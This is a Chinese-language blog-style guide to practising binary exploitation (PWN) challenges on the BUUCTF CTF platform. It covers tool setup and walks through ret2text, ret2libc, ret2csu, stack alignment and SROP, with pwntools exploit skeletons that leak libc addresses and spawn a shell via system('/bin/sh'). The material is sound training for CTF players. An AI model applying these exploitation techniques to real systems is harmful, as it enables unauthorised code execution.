
1. 为什么我坚持在BUUCTF上刷PWN题1.1 PWN入门为什么首选BUUCTF如果你刚开始接触PWN大概率会被各种来源的题目资源搞得一头雾水——GitHub上零散的writeup、论坛里过期的附件、质量参差不齐的题目打包每一样都在消耗你本就不多的学习耐心。我自己踩过这个坑所以可以负责任地说BUUCTF是目前国内对新手最友好的CTF刷题平台之一。它最大的特点是“省心”题目附件直接下载远程环境一键启动连docker部署都帮你做好了。你不需要费劲去搭建一个完全一致的赛题环境只需要面对题目本身。还有一点很关键BUUCTF上的PWN题目覆盖面非常全。从最基础的栈溢出到格式化字符串、堆利用、内核题目梯度很清晰。像我这种从零开始的人顺着平台上的题目列表从前往后刷自然就能体会到难度曲线的爬升——刚做完ret2text下一题就开始让你自己构造ROP链再往后就是ret2dl_runtime、unsorted bin attack这些硬骨头。更重要的是BUUCTF的题库里收纳了大量真实比赛的题目。比如NEWSTCTF公开赛、GUET-CTF、湖南省赛这些你在刷题的同时相当于把国内各大赛事的题目过了一遍。这种“以赛代练”的方式比单纯看书看视频高效得多。我个人建议刷题优先级可以定为BUUCTF平台题目 → 对应比赛的官方writeup → 同类题型的变体训练。这个路径我走了大半年进步速度比之前漫无目的地看教程快了一倍不止。1.2 刷题前必须搞懂的三件事很多新手上来就打开题目、拖进IDA、开始看反汇编然后很快就卡住了。卡在哪不是看不懂代码而是不知道“接下来该干什么”。我觉得刷题前有三件事一定要先弄清楚否则后面全是无效努力。第一件事搞清楚题目考察的漏洞类型。PWN题目本质上就那几类——栈溢出、格式化字符串、堆利用、整数溢出再加上一些组合拳。拿到题目先别急着分析先看保护措施checksec再看程序逻辑IDA或Ghidra最后才考虑利用方案。这个顺序反了你会非常痛苦。第二件事理解利用链的完整闭环。一道PWN题攻击手段只是入口。你要拿到shell或者拿到flag中间往往还有一道坎——比如绕过canary、泄露libc地址、拼接ROP链。很多人刷题卡住是因为只盯着入口那一步忽略了整个利用链的完整性。我自己带过几个学弟他们经常把getshell想得太简单觉得有栈溢出就一定能拿shell结果在canary和PIE面前半天动不了手。第三件事学会调试而不是瞎猜。PWN题往往需要你对内存布局有精确的理解光靠读代码推理是不够的。很多时候你觉得自己思路对了但gdb跑一遍就发现根本不是那么回事。我这人的习惯是每道题至少用gdb断点跟一遍关键路径看看栈上的数据到底长什么样。调试花的时间永远不会白费它帮你建立的“内存直觉”是看多少writeup都换不来的。2. PWN刷题环境配置一次到位2.1 虚拟机与系统选择PWN题目大部分是Linux ELF程序所以一个Linux环境是必需品。我知道有些人图省事直接在Windows上装个WSL就开干了我也试过但很快就放弃了。WSL对gdb的支持、对串口调试这些场景总有点别扭尤其遇到一些需要硬断点或特定内核行为的情况WSL的表现就很迷。我目前的主力环境是VMware Workstation Pro跑Ubuntu 20.0464位系统。选20.04而不是更新的版本是因为它在兼容性和软件包支持上都比较成熟尤其是pwninit、patchelf、glibc-all-in-one这些工具链在20.04上基本不会出幺蛾子。如果你手头机器配置够建议给虚拟机分配8GB以上内存因为同时开IDA、gdb、pwntools脚本、浏览器查资料内存吃紧会严重拖慢节奏。装好虚拟机之后第一件事就是装好VMware Tools或open-vm-tools这样文件拖拽、剪贴板共享都方便。不过要提醒一句如果你做堆题目需要精确的地址布局建议还是用共享文件夹的方式交换文件别依赖拖拽——拖拽有时会破坏文件权限和符号链接别问我怎么知道的。2.2 pwntools与调试器的安装配置pwntools是PWN刷题绕不开的库。安装方式很简单但有个小坑Python 2时代的pwntools已经停止维护了现在统一用Python 3版本。执行下面这几条命令就能装好sudo apt update sudo apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install pwntools装完之后建议验证一下python3 -c from pwn import *; print(ok)能正常输出ok就说明pwntools装好了。这里还有个隐藏问题pwntools依赖的一些系统库比如binutils在精简安装的Ubuntu上可能缺失。如果运行脚本时遇到“Unable to find as”之类的报错直接补装一下即可sudo apt install binutils调试器方面我用的是gdb加PWNDBG插件。PWNDBG是目前PWN调试体验最好的插件没有之一。它的heap分析命令、栈回溯显示、寄存器高亮都做得非常直观。安装方式git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装好之后你在gdb里就能用heap、bins、telescope这些命令了。我强烈建议初学者把telescope命令练熟它能把栈上指定地址附近的内存一列一列显示出来配合栈溢出的分析简直神器。2.3 checksec、ROPgadget等辅助工具的日常用法这几个工具虽然不起眼但几乎是每道题都要用的。checksec用来查看程序的保护措施。在pwntools里可以直接调用from pwn import * elf ELF(./pwn) print(elf.checksec())它会告诉你RELRO是否开启、栈是否可执行NX、有没有canary、有没有PIE。这些信息直接决定你的利用思路。举个例子如果NX开启那shellcode基本没戏你得考虑ROP或者ret2libc如果栈上开了canary你得先想办法泄露出canary的值。ROPgadget用于寻找ROP链的gadget。比如你想找pop rdi; ret可以ROPgadget --binary ./pwn | grep pop rdi如果题目有libc附件也要用ROPgadget --binary ./libc.so.6分别搜索。这个工具在构造ret2csu、ret2libc的链子时是刚需。做多了你会发现某些gadget地址是可以直接算偏移的只要你知道了libc基址。另外一个我常用的工具是one_gadget。它能在libc中搜索满足特定约束的万能gadget一条指令直接execve(/bin/sh)。用法one_gadget ./libc.so.6但注意one_gadget的约束非常苛刻比如“rsp0x40 NULL”这种。很多时候这些约束不满足所以它更像一个“锦上添花”的工具不能作为唯一指望。3. 栈溢出题型的通用套路拆解3.1 ret2text最简单的栈溢出利用BUUCTF早期题目里有大量ret2text类型的题基本上只要找到后门函数system(/bin/sh)之类的就能打通。以一个典型的题目为例漏洞函数用read或gets读取输入到栈缓冲区没有边界检查同时程序里又有一个函数直接调用了system(/bin/sh)。这时候你的思路就是确定偏移 → 覆盖返回地址为后门函数。确定偏移的方法有两种一种是用pwntools的cyclicfrom pwn import * payload cyclic(200) p process(./pwn) p.sendline(payload) p.wait() core p.corefile print(core.fault_addr) # 偏移就是 fault_addr - 栈缓冲起始地址另一种方法是直接通过gdb调试在read之后下断点查看缓冲区地址和返回地址的位置差。我自己更习惯用cyclic因为它快且不容易出错。拿到偏移之后payload就很简单了from pwn import * elf ELF(./pwn) offset 0x?? # 根据cyclic计算 payload ba * offset p64(elf.sym[backdoor]) p process(./pwn) p.sendline(payload) p.interactive()这类题虽然简单但它是理解“控制流劫持”的基础。你做这一题时要彻底搞明白为什么覆盖返回地址就能劫持EIP/RIP栈上从局部变量到返回地址的距离为什么正好是offset这些问题想通了后面所有栈溢出题都是一回事。3.2 ret2libc绕过NX的必经之路一旦题目开了NX栈上不能执行shellcoderet2text往往又找不到后门函数这时候就要走ret2libc。核心思路是程序运行时本身就会加载libc.so里面天然有system、/bin/sh这些能用的东西。你需要做的就是先泄露libc的基址再计算system和/bin/sh的真实地址最后构造链子调过去。拿BUUCTF上的一道经典题来说程序有两次输入机会第一次输入用于泄露地址第二次输入用于控制返回地址。泄露阶段的做法是先通过ROP调用puts(plt)参数是got表里某个函数的真实地址这样puts会把该函数的真实地址打印出来。脚本大致长这样from pwn import * elf ELF(./pwn) libc ELF(./libc.so.6) puts_plt elf.plt[puts] puts_got elf.got[puts] pop_rdi 0x???? # ROPgadget搜出来的地址 offset 0x?? payload1 ba * offset p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(elf.sym[main]) p.sendline(payload1) leak u64(p.recv(6).ljust(8, b\x00)) libc_base leak - libc.sym[puts]拿到libc_base之后第二段的payload就是system_addr libc_base libc.sym[system] binsh_addr libc_base next(libc.search(b/bin/sh)) payload2 ba * offset p64(pop_rdi) p64(binsh_addr) p64(system_addr)这里有个非常关键的细节为什么payload1最后要返回main函数因为你要让程序再执行一次read给你第二次输入的机会。如果忘记返回main程序会在第一次ROP执行完之后直接崩溃第二次payload根本没机会输入。这个问题我卡了整整一个晚上后来才意识到流程连续性有多重要。还有一个细节u64(p.recv(6).ljust(8, b\x00))这行是在把打印出来的6字节地址补齐到8字节。puts在打印地址时自带换行所以收到的字节末尾会带一个\n这也会影响u64的正确性。实际做题时建议p.recvline()去掉换行再做u64或者用recvuntil(b\n)精确截取。细节虽小但错了就是全盘崩溃。3.3 ret2csu万能gadget的妙用有些二进制文件很小连pop rdi这种常见gadget都搜不到这时候ret2csu就派上用场了。它利用的是x86_64程序在__libc_csu_init里的通用gadget这两段gadget几乎存在于所有用gcc编译的64位程序中。具体来说csu的第一段gadget负责设置rbx、rbp、r12、r13、r14、r15六个寄存器然后跳到第二段gadget第二段gadget则通过call QWORD PTR [r12rbx*8]来间接调用任意地址。这里的巧妙之处在于你虽然不能直接控制rdi、rsi、rdx但可以把值先放进r13、r14、r15再通过第二段gadget里的mov rdx, r14; mov rsi, r13; mov edi, r12d赋值到位。注意这里的rdi被mov成了r12d只是32位传地址没问题但传大整数就会截断。NEWSTCTF公开赛赛道的ret2csu1就是这种题型的典型。我当时看它只有几个函数连pop rdi; ret都找不到后来用ROPgadget翻了一遍汇编才发现csu gadget。构造的时候要特别小心第二段gadget开头是pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret它会先弹掉六个值然后才执行真正有用的操作。所以payload布局一般是payload ba * offset payload p64(csu_pop) # 第一段 payload p64(0) # rbx payload p64(1) # rbp payload p64(call_addr) # r12要调用的函数地址 payload p64(param3) # r13 - edi payload p64(param2) # r14 - rsi payload p64(param1) # r15 - rdx payload p64(csu_call) # 第二段但这里有个常见的坑第二段的最后是add rsp, 8和ret所以你在构造后续链子时还要额外考虑这8字节的占位。第一次做ret2csu的时候我没注意这个细节ROP链始终对不上gdb一看发现ret的时候RIP完全错位了。4. 刷题过程中遇到的高频问题与排查实录4.1 远程打不通本地秒过这个几乎是PWN刷题党最崩溃的场景本地脚本跑得飞起一换远程地址就发疯。原因九成是libc版本不一致。BUUCTF的远程环境用的libc版本和本机Ubuntu自带的不一定相同函数偏移自然对不上你算好的system地址在远程根本不存在。解决办法很直接先确认题目附件里有没有给libc。如果给了就用patchelf把程序的动态链接器改成远程对应的版本patchelf --set-interpreter ./ld-2.27.so ./pwn patchelf --set-rpath . ./pwn然后再用本地调试。整个过程就是把程序“降级”到和远程一样的libc环境。如果你不确定远程到底用的哪个版本可以先用checksec或者readelf看看程序的interpreter再结合题目描述推断。另一个排查手段是用libc.rip这类在线libc数据库搜索泄露出来的函数地址。把puts或write的真实地址输进去它就能告诉你对应的libc版本。这个步骤能极大缩小排查范围。我在刷GUET-CTF的某道题时本地过了但远程一直segfault后来把泄露地址丢到数据库一查发现远程用的是2.27的libc本地是2.31偏移差了十万八千里。4.2 栈对齐问题和movaps陷阱还有一个特别隐蔽的坑就是栈对齐。x86_64的gcc编译的程序在调用system这类libc函数时要求栈16字节对齐。如果你ROP链构造好后在system执行时栈没有对齐到16的倍数程序会直接报movaps指令段错误而且表现就是本地偶尔过、远程必崩非常迷惑。解法很简单在system前面多加一个ret gadget作为“栈对齐跳板”。ret指令本身会调整rsp的位置多一层ret之后栈就回到16字节边界了。payload变成payload p64(ret_addr) # 栈对齐 payload p64(pop_rdi) payload p64(binsh_addr) payload p64(system_addr)这里ret_addr可以是任何一条ret的地址一般用ROPgadget --binary ./pwn | grep ret搜出来的第一条就行。我当时做湖南省赛的findme时被这个movaps坑了足足一下午最后在gdb里用bt命令看到崩溃位置停在__memmove_avx_unaligned里的movaps才反应过来。4.3 one_gadget约束不满足的替代方案one_gadget确实好用但它的约束条件经常不满足。比如它要求rsp0x40或某个寄存器处为NULL而实际栈上数据又不满足。这时候不要硬凑可以退一步用system/bin/sh的组合。但有些题目连system都用不了——比如开启了seccomp或者system被禁用了。这种情况下可以考虑用SROPSigreturn-oriented Programming。SROP的思路是利用syscall; ret这个gadget伪造一个sigreturn帧直接调用execve。构造过程虽然繁琐但对栈溢出题来说特别有效。我在BUUCTF上遇到过一道开启seccomp的题system被卡了后来用SROP成功绕过了沙箱限制。制作SROP payload时要注意布置的顺序先放sigreturn syscall的gadget地址再布局伪造的ucontext结构。这个结构里需要设置rax15SYS_rt_sigreturn、ripsyscall地址、rdibinsh_addr、rsi0、rdx0。格式上稍有偏差SROP就会退化成普通sigreturn程序直接回到正常流程而不是你想要的执行流。我第一次手搓就是布局错位gdb显示执行流完全没被劫持后来对照着pwntools的SigreturnFrame构造了一遍才顺畅了。5. 个人刷题习惯与效率心得5.1 整理一套自己的题目模板刷题刷多了你会发现大部分栈溢出题目的exp框架是固定的接收输入 → 泄露地址 → 构造ROP → getshell。既然如此不如把这套流程模板化每道新题只要改偏移和地址就能快速验证思路。我的做法是在本地维护一个pwn模板脚本长这样from pwn import * context.log_level debug context.arch amd64 def local(): return process(./pwn) def remote(): return remote(node.buuctf.cn, 30000) p local() # 或远程 elf ELF(./pwn) libc ELF(./libc.so.6) offset 0x?? def exp(): payload ... p.sendline(payload) p.interactive() exp()这个模板里有几个小心思context.log_level debug能让你看到所有收发数据方便排查问题offset单独拎出来标注方便调试迭代local()和remote()分开写避免来回改连接字符串。千万记得每次做完题把模板复制一份留档以后遇到类似题型可以直接套。5.2 写writeup不等于抄writeup刷题最忌讳对着writeup复制粘贴一遍exp就完事。我自己更习惯这样的流程先自己独立做卡住了再看思路提示最后逼自己写一篇完整的writeup。写writeup的过程其实是在强制你组织语言、梳理逻辑很多“我以为我懂了”的地方一写就露馅。所以我的建议是每道题都开一个markdown笔记记录三部分——漏洞成因、利用思路总结、关键步骤的地址计算过程。这样刷到后面你的笔记本身就是一份宝贵的复习资料。如果你中途断了很久没碰PWN翻一遍自己的笔记就能快速捡起来而不是重新去网上找教程。5.3 主动给自己加难度当你把某类题型刷得比较顺手之后可以主动给自己加难度。比如同一道题故意要求自己不用system只用execve或者要求自己全程手算偏移不依赖cyclic再或者要求自己在不开NX模拟的条件下重新构造利用链。这些“加难度”的训练能帮你把知识从“会做”变成“真懂”。我在刷完BUUCTF的ret2csu系列后给自己定的训练是连续一周只看题目反汇编来推测漏洞类型不看任何writeup五天之内独立做完了整套NEWSTCTF公开赛赛道的PWN题。那几天虽然虐得头皮发麻但结束之后再看新题思路清晰了很多不会动不动就卡在那几个老套路上了。最后再说一个刷题频率的问题。PWN这个东西一周不练就会手生gdb命令要重新查、偏移计算要重新绕弯。所以我建议哪怕忙的时候也至少两三天跑一遍最简单的ret2text练手感别让肌肉记忆断档。我这半年的经验是刷题不是比谁突击得多而是比谁细水长流地稳。